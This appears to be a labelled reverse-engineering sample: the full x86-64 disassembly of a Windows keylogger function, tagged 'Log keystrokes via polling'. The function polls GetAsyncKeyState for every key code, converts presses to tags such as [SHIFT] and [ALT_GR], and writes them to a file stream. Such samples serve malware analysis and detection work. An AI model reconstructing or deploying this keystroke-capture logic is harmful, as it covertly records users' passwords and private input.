Function at 0x140011703
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400281a0
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140043018]
xor rax, rbp
mov qword [rbp + 0x650], rax
lea rcx, [0x14004e5f8]
call fcn.140011f19
mov byte [rbp + 4], 1
jmp 0x1400281ec
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 0xff
jge 0x1400289f6
movzx eax, byte [rbp + 4]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rbp + 0x24], ax
movsx eax, word [rbp + 0x24]
and eax, 1
test eax, eax
je 0x1400289f1
lea rdx, [0x14003a2f3]
lea rcx, [rbp + 0x48]
call fcn.14001175d
nop
movzx eax, byte [rbp + 4]
cmp eax, 1
jne 0x140028249
lea rdx, str._LMOUSE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 2
jne 0x140028267
lea rdx, str._RMOUSE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 4
jne 0x140028285
lea rdx, str._MMOUSE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xd
jne 0x1400282a3
lea rdx, str._RETURN__n
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x10
je 0x1400282be
movzx eax, byte [rbp + 4]
cmp eax, 0x11
je 0x1400282be
movzx eax, byte [rbp + 4]
cmp eax, 0x12
jne 0x1400282d3
lea rdx, [0x14003a2f3]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xa0
je 0x1400282e9
movzx eax, byte [rbp + 4]
cmp eax, 0xa1
jne 0x1400282fe
lea rdx, str._SHIFT_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xa2
je 0x140028314
movzx eax, byte [rbp + 4]
cmp eax, 0xa3
jne 0x140028329
lea rdx, str._STRG_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xa4
jne 0x140028349
lea rdx, str._ALT_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xa5
jne 0x140028369
lea rdx, str._ALT_GR_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 8
jne 0x140028387
lea rdx, str._BACKSPACE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 9
jne 0x1400283a5
lea rdx, str._TAB_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x1b
jne 0x1400283c3
lea rdx, str._ESC_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x21
jne 0x1400283e1
lea rdx, str._PAGE_UP_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x22
jne 0x1400283ff
lea rdx, str._PAGE_DOWN_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x23
jne 0x14002841d
lea rdx, str._HOME_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x24
jne 0x14002843b
lea rdx, str._POS1_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x25
jne 0x140028459
lea rdx, str._ARROW_LEFT_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x26
jne 0x140028477
lea rdx, str._ARROW_UP_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x27
jne 0x140028495
lea rdx, str._ARROW_RIGHT_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x28
jne 0x1400284b3
lea rdx, str._ARROW_DOWN_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x2d
jne 0x1400284d1
lea rdx, str._INS_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x2e
jne 0x1400284ef
lea rdx, str._DEL_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x41
jl 0x140028501
movzx eax, byte [rbp + 4]
cmp eax, 0x5a
jle 0x14002851c
movzx eax, byte [rbp + 4]
cmp eax, 0x30
jl 0x140028513
movzx eax, byte [rbp + 4]
cmp eax, 0x39
jle 0x14002851c
movzx eax, byte [rbp + 4]
cmp eax, 0x20
jne 0x14002852e
movzx edx, byte [rbp + 4]
lea rcx, [rbp + 0x48]
call fcn.140011e15
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x5b
je 0x140028540
movzx eax, byte [rbp + 4]
cmp eax, 0x5c
jne 0x140028555
lea rdx, str._WIN_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x60
jl 0x140028624
movzx eax, byte [rbp + 4]
cmp eax, 0x69
jg 0x140028624
movzx eax, byte [rbp + 4]
sub eax, 0x60
mov edx, eax
lea rcx, [rbp + 0x3f8]
call fcn.1400111ea
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
mov r8, qword [rbp + 0x630]
lea rdx, str._NUM
lea rcx, [rbp + 0x438]
call fcn.140011f5f
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [0x14003b908]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x478]
call fcn.140011dfc
mov qword [rbp + 0x648], rax
mov rdx, qword [rbp + 0x648]
lea rcx, [rbp + 0x48]
call fcn.140011479
lea rcx, [rbp + 0x478]
call fcn.14001132a
nop
lea rcx, [rbp + 0x438]
call fcn.14001132a
nop
lea rcx, [rbp + 0x3f8]
call fcn.14001132a
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x6a
jne 0x140028642
lea rdx, [0x14003b918]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x6b
jne 0x140028660
lea rdx, str._NUM__
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x6d
jne 0x14002867e
lea rdx, [0x14003b938]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x6e
jne 0x14002869c
lea rdx, str._NUM___
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x70
jl 0x14002876b
movzx eax, byte [rbp + 4]
cmp eax, 0x7b
jg 0x14002876b
movzx eax, byte [rbp + 4]
sub eax, 0x6f
mov edx, eax
lea rcx, [rbp + 0x4b8]
call fcn.1400111ea
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
mov r8, qword [rbp + 0x630]
lea rdx, [0x14003b954]
lea rcx, [rbp + 0x4f8]
call fcn.140011f5f
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [0x14003b908]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x538]
call fcn.140011dfc
mov qword [rbp + 0x648], rax
mov rdx, qword [rbp + 0x648]
lea rcx, [rbp + 0x48]
call fcn.140011479
lea rcx, [rbp + 0x538]
call fcn.14001132a
nop
lea rcx, [rbp + 0x4f8]
call fcn.14001132a
nop
lea rcx, [rbp + 0x4b8]
call fcn.14001132a
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0x90
jne 0x14002878b
lea rdx, str._NUM_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xc0
jne 0x1400287ab
lea rdx, str._OE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xde
jne 0x1400287cb
lea rdx, str._AE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xba
jne 0x1400287eb
lea rdx, str._UE_
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xbb
jne 0x14002880b
lea rdx, str.___
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xbc
jne 0x14002882b
lea rdx, [0x14003b97c]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xbd
jne 0x14002884b
lea rdx, [0x14003b980]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xbe
jne 0x14002886b
lea rdx, [0x14003993c]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xbf
jne 0x14002888b
lea rdx, [0x14003b984]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
cmp eax, 0xe2
jne 0x1400288ab
lea rdx, [0x14003b988]
lea rcx, [rbp + 0x48]
call fcn.140011091
jmp 0x140028958
movzx eax, byte [rbp + 4]
mov edx, eax
lea rcx, [rbp + 0x578]
call fcn.1400111ea
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
mov r8, qword [rbp + 0x630]
lea rdx, [0x14003b98c]
lea rcx, [rbp + 0x5b8]
call fcn.140011f5f
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [0x14003b908]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x5f8]
call fcn.140011dfc
mov qword [rbp + 0x648], rax
mov rdx, qword [rbp + 0x648]
lea rcx, [rbp + 0x48]
call fcn.140011479
lea rcx, [rbp + 0x5f8]
call fcn.14001132a
nop
lea rcx, [rbp + 0x5b8]
call fcn.14001132a
nop
lea rcx, [rbp + 0x578]
call fcn.14001132a
lea rdx, [0x14003a2f3]
lea rcx, [rbp + 0x48]
call fcn.140011438
movzx eax, al
test eax, eax
je 0x1400289e8
mov edx, 0x108
lea rcx, [rbp + 0x90]
call fcn.140011672
mov edx, 1
lea rcx, [rbp + 0x90]
call fcn.140011c8a
nop
mov r9d, 0x40
mov r8d, 8
lea rdx, [0x140043dd0]
lea rcx, [rbp + 0x90]
call fcn.140011b6d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.140011da2
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp + 0x90]
call fcn.140011861
nop
lea rcx, [rbp + 0x90]
call fcn.140011406
nop
lea rcx, [rbp + 0x48]
call fcn.14001132a
jmp 0x1400281e3
lea rcx, [rbp - 0x20]
lea rdx, [0x14003b520]
call fcn.140011cc6
mov rcx, qword [rbp + 0x650]
xor rcx, rbp
call fcn.1400117e4
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret